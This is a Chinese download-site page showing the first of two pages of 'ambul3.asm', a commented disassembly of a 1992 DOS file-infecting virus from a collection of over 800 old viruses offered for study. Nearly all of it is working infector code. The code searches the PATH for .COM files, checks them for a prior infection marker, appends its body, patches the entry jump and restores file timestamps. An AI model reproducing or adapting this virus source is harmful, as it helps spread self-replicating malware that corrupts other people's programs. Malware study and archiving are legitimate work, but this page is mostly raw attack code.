⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ambul3.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
;NAME:          AMBUL3.C-M
;FILE SIZE:     00330h - 816d
;START (CS:IP): 00100h
;CODE END:      00430h
;CODE ORIGIN:   00100h
;DATE:          Sun Aug 16 15:45:06 1992

CODE    SEGMENT BYTE PUBLIC 'CODE'
ASSUME  CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING

P00100  PROC
        ORG     0100h

H00100: JMP	H00114				    ;00100 E91100	 ___
;Will be overwritten with B4 09 BA-- MOV AH,09 and MOV DX
;---------------------------------------------------
	OR	[BX+DI],AX			    ;00103 0901 	 __
;DX gets this, location of string.
        INT     21h             ;Indef_INT:21h-AH   ;00105 CD21          _!
	INT	20h		;B-TERM_norm:20h    ;00107 CD20 	 _ 
;---------------------------------------------------
	DB	"Infect me!$"			    ;00109 496E6665637420
;---------------------------------------------------
H00114: CALL    H00118          ; . . . . . . . . . ;00114 E80100        ___
	ADD	[BP-7Fh],BX			    ;00117 015E81	 _^_
	OUT	DX,AL		;Port_OUT:DX	    ;0011A EE		 _
	ADD	AX,[BX+DI]			    ;0011B 0301 	 __
	CALL	H0013A		; . . . . . . . . . ;0011D E81A00	 ___
	CALL	H0013A		; . . . . . . . . . ;00120 E81700	 ___
	CALL	H002F8		; . . . . . . . . . ;00123 E8D201	 ___
	LEA	BX,[SI+0419h]			    ;00126 8D9C1904	 ____
	MOV	DI,0100h			    ;0012A BF0001	 ___
	MOV	AL,[BX] 			    ;0012D 8A07 	 __
	MOV	[DI],AL 			    ;0012F 8805 	 __
	MOV	AX,[BX+01h]			    ;00131 8B4701	 _G_
	MOV	[DI+01h],AX			    ;00134 894501	 _E_
	JMP	DI				    ;00137 FFE7 	 __
;---------------------------------------------------
	RET			;RET_Near	    ;00139 C3		 _
;---------------------------------------------------
H0013A: CALL	H0021B		; . . . . . . . . . ;0013A E8DE00	 ___
	MOV	AL,[SI+0428h]			    ;0013D 8A842804	 __(_
	OR	AL,AL				    ;00141 0AC0 	 __
	JZ	H00139				    ;00143 74F4 	 t_
	LEA	BX,[SI+040Fh]			    ;00145 8D9C0F04	 ____
	INC	Word Ptr [BX]			    ;00149 FF07 	 __
	LEA	DX,[SI+0428h]			    ;0014B 8D942804	 __(_
	MOV	AX,3D02h			    ;0014F B8023D	 __=
	INT	21h		;2-Open_Fl_Hdl	    ;00152 CD21 	 _!
	MOV	[SI+0417h],AX			    ;00154 89841704	 ____
	MOV	BX,[SI+0417h]			    ;00158 8B9C1704	 ____
	MOV	CX,0003h			    ;0015C B90300	 ___
	LEA	DX,[SI+0414h]			    ;0015F 8D941404	 ____
	MOV	AH,3Fh				    ;00163 B43F 	 _?
	INT	21h		;2-Rd_Fl_Hdl	    ;00165 CD21 	 _!
	MOV	AL,[SI+0414h]			    ;00167 8A841404	 ____
	CMP	AL,0E9h 			    ;0016B 3CE9 	 <_
	JNZ	H001AE				    ;0016D 753F 	 u?
	MOV	DX,[SI+0415h]			    ;0016F 8B941504	 ____
	MOV	BX,[SI+0417h]			    ;00173 8B9C1704	 ____
	ADD	DX,+03h 			    ;00177 83C203	 ___
	XOR	CX,CX				    ;0017A 33C9 	 3_
	MOV	AX,4200h			    ;0017C B80042	 __B
	INT	21h		;2-Mov_Fl_Hdl_Ptr   ;0017F CD21 	 _!
	MOV	BX,[SI+0417h]			    ;00181 8B9C1704	 ____
	MOV	CX,0006h			    ;00185 B90600	 ___
	LEA	DX,[SI+041Ch]			    ;00188 8D941C04	 ____
	MOV	AH,3Fh				    ;0018C B43F 	 _?
	INT	21h		;2-Rd_Fl_Hdl	    ;0018E CD21 	 _!
	MOV	AX,[SI+041Ch]			    ;00190 8B841C04	 ____
	MOV	BX,[SI+041Eh]			    ;00194 8B9C1E04	 ____
	MOV	CX,[SI+0420h]			    ;00198 8B8C2004	 __ _
	CMP	AX,[SI+0100h]			    ;0019C 3B840001	 ;___
	JNZ	H001AE				    ;001A0 750C 	 u_
	CMP	BX,[SI+0102h]			    ;001A2 3B9C0201	 ;___
	JNZ	H001AE				    ;001A6 7506 	 u_
	CMP	CX,[SI+0104h]			    ;001A8 3B8C0401	 ;___
	JZ	H00212				    ;001AC 7464 	 td
H001AE: MOV	BX,[SI+0417h]			    ;001AE 8B9C1704	 ____
	XOR	CX,CX				    ;001B2 33C9 	 3_
	XOR	DX,DX				    ;001B4 33D2 	 3_
	MOV	AX,4202h			    ;001B6 B80242	 __B
	INT	21h		;2-Mov_Fl_Hdl_Ptr   ;001B9 CD21 	 _!
	SUB	AX,0003h			    ;001BB 2D0300	 -__
	MOV	[SI+0412h],AX			    ;001BE 89841204	 ____
	MOV	BX,[SI+0417h]			    ;001C2 8B9C1704	 ____
	MOV	AX,5700h			    ;001C6 B80057	 __W
	INT	21h		;2-Fl_Hdl_Date_Time ;001C9 CD21 	 _!
	PUSH	CX				    ;001CB 51		 Q
	PUSH	DX				    ;001CC 52		 R
	MOV	BX,[SI+0417h]			    ;001CD 8B9C1704	 ____
	MOV	CX,0319h			    ;001D1 B91903	 ___
	LEA	DX,[SI+0100h]			    ;001D4 8D940001	 ____
	MOV	AH,40h				    ;001D8 B440 	 _@
	INT	21h		;2-Wr_Fl_Hdl	    ;001DA CD21 	 _!
	MOV	BX,[SI+0417h]			    ;001DC 8B9C1704	 ____
	MOV	CX,0003h			    ;001E0 B90300	 ___
	LEA	DX,[SI+0414h]			    ;001E3 8D941404	 ____
	MOV	AH,40h				    ;001E7 B440 	 _@
	INT	21h		;2-Wr_Fl_Hdl	    ;001E9 CD21 	 _!
	MOV	BX,[SI+0417h]			    ;001EB 8B9C1704	 ____
	XOR	CX,CX				    ;001EF 33C9 	 3_
	XOR	DX,DX				    ;001F1 33D2 	 3_
	MOV	AX,4200h			    ;001F3 B80042	 __B
	INT	21h		;2-Mov_Fl_Hdl_Ptr   ;001F6 CD21 	 _!
	MOV	BX,[SI+0417h]			    ;001F8 8B9C1704	 ____
	MOV	CX,0003h			    ;001FC B90300	 ___
	LEA	DX,[SI+0411h]			    ;001FF 8D941104	 ____
	MOV	AH,40h				    ;00203 B440 	 _@
	INT	21h		;2-Wr_Fl_Hdl	    ;00205 CD21 	 _!
	POP	DX				    ;00207 5A		 Z
	POP	CX				    ;00208 59		 Y
	MOV	BX,[SI+0417h]			    ;00209 8B9C1704	 ____
	MOV	AX,5701h			    ;0020D B80157	 __W
	INT	21h		;2-Fl_Hdl_Date_Time ;00210 CD21 	 _!
H00212: MOV	BX,[SI+0417h]			    ;00212 8B9C1704	 ____
	MOV	AH,3Eh				    ;00216 B43E 	 _>
	INT	21h		;2-Close_Fl_Hdl     ;00218 CD21 	 _!
	RET			;RET_Near	    ;0021A C3		 _
;---------------------------------------------------
H0021B: MOV	AX,DS:[002Ch]			    ;0021B A12C00	 _,_
	MOV	ES,AX		;ES_Chg 	    ;0021E 8EC0 	 __
	PUSH	DS				    ;00220 1E		 _
	MOV	AX,0040h			    ;00221 B84000	 _@_
	MOV	DS,AX		;DS_Chg 	    ;00224 8ED8 	 __
	MOV	BP,DS:[006Ch]			    ;00226 8B2E6C00	 _.l_
	POP	DS				    ;0022A 1F		 _
	TEST	BP,0003h			    ;0022B F7C50300	 ____
	JZ	H00248				    ;0022F 7417 	 t_
	XOR	BX,BX				    ;00231 33DB 	 3_
	MOV	AX,ES:[BX]	;ES_Ovrd	    ;00233 268B07	 &__
	CMP	AX,4150h			    ;00236 3D5041	 =PA
	JNZ	H00243				    ;00239 7508 	 u_
	CMP	Word Ptr ES:[BX+02h],4854h
				;ES_Ovrd	    ;0023B 26817F025448  &___TH
	JZ	H0024E				    ;00241 740B 	 t_
H00243: INC	BX				    ;00243 43		 C
	OR	AX,AX				    ;00244 0BC0 	 __
	JNZ	H00233				    ;00246 75EB 	 u_
H00248: LEA	DI,[SI+0428h]			    ;00248 8DBC2804	 __(_
	JMP	Short H00280			    ;0024C EB32 	 _2
;---------------------------------------------------
H0024E: ADD	BX,+05h 			    ;0024E 83C305	 ___
	LEA	DI,[SI+0428h]			    ;00251 8DBC2804	 __(_
	MOV	AL,ES:[BX]	;ES_Ovrd	    ;00255 268A07	 &__
	INC	BX				    ;00258 43		 C
	OR	AL,AL				    ;00259 0AC0 	 __
	JZ	H00276				    ;0025B 7419 	 t_
	CMP	AL,3Bh				    ;0025D 3C3B 	 <;
	JZ	H00266				    ;0025F 7405 	 t_
	MOV	[DI],AL 			    ;00261 8805 	 __
	INC	DI				    ;00263 47		 G
	JMP	Short H00255			    ;00264 EBEF 	 __
;---------------------------------------------------
H00266: CMP	Byte Ptr ES:[BX],00h
				;ES_Ovrd	    ;00266 26803F00	 &_?_
	JZ	H00276				    ;0026A 740A 	 t_
	SHR	BP,1				    ;0026C D1ED 	 __
	SHR	BP,1				    ;0026E D1ED 	 __
	TEST	BP,0003h			    ;00270 F7C50300	 ____
	JNZ	H00251				    ;00274 75DB 	 u_
H00276: CMP	Byte Ptr [DI-01h],5Ch		    ;00276 807DFF5C	 _}_\
	JZ	H00280				    ;0027A 7404 	 t_
	MOV	Byte Ptr [DI],5Ch		    ;0027C C6055C	 __\
	INC	DI				    ;0027F 47		 G
H00280: PUSH	DS				    ;00280 1E		 _
	POP	ES				    ;00281 07		 _
	MOV	[SI+0422h],DI			    ;00282 89BC2204	 __"_
;********* Put "*.COM" at ES:DI
        MOV     AX,2E2Ah                            ;00286 B82A2E        _*.
	STOSW					    ;00289 AB		 _
	MOV	AX,4F43h			    ;0028A B8434F	 _CO
	STOSW					    ;0028D AB		 _
	MOV	AX,004Dh			    ;0028E B84D00	 _M_
	STOSW					    ;00291 AB		 _
;**********
        PUSH    ES                                  ;00292 06            _
	MOV	AH,2Fh				    ;00293 B42F 	 _/
	INT	21h		;2-Get_DTA	    ;00295 CD21 	 _!
	MOV	AX,ES				    ;00297 8CC0 	 __
	MOV	[SI+0424h],AX			    ;00299 89842404	 __$_
	MOV	[SI+0426h],BX			    ;0029D 899C2604	 __&_
	POP	ES				    ;002A1 07		 _
	LEA	DX,[SI+0478h]			    ;002A2 8D947804	 __x_
	MOV	AH,1Ah				    ;002A6 B41A 	 __
	INT	21h		;1-Set_DTA	    ;002A8 CD21 	 _!
	LEA	DX,[SI+0428h]			    ;002AA 8D942804	 __(_
	XOR	CX,CX				    ;002AE 33C9 	 3_
	MOV	AH,4Eh				    ;002B0 B44E 	 _N
	INT	21h		;2-Srch_1st_Fl_Hdl  ;002B2 CD21 	 _!
	JNB	H002BE				    ;002B4 7308 	 s_
	XOR	AX,AX				    ;002B6 33C0 	 3_
	MOV	[SI+0428h],AX			    ;002B8 89842804	 __(_
	JMP	Short H002E7			    ;002BC EB29 	 _)
;---------------------------------------------------
H002BE: PUSH	DS				    ;002BE 1E		 _

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -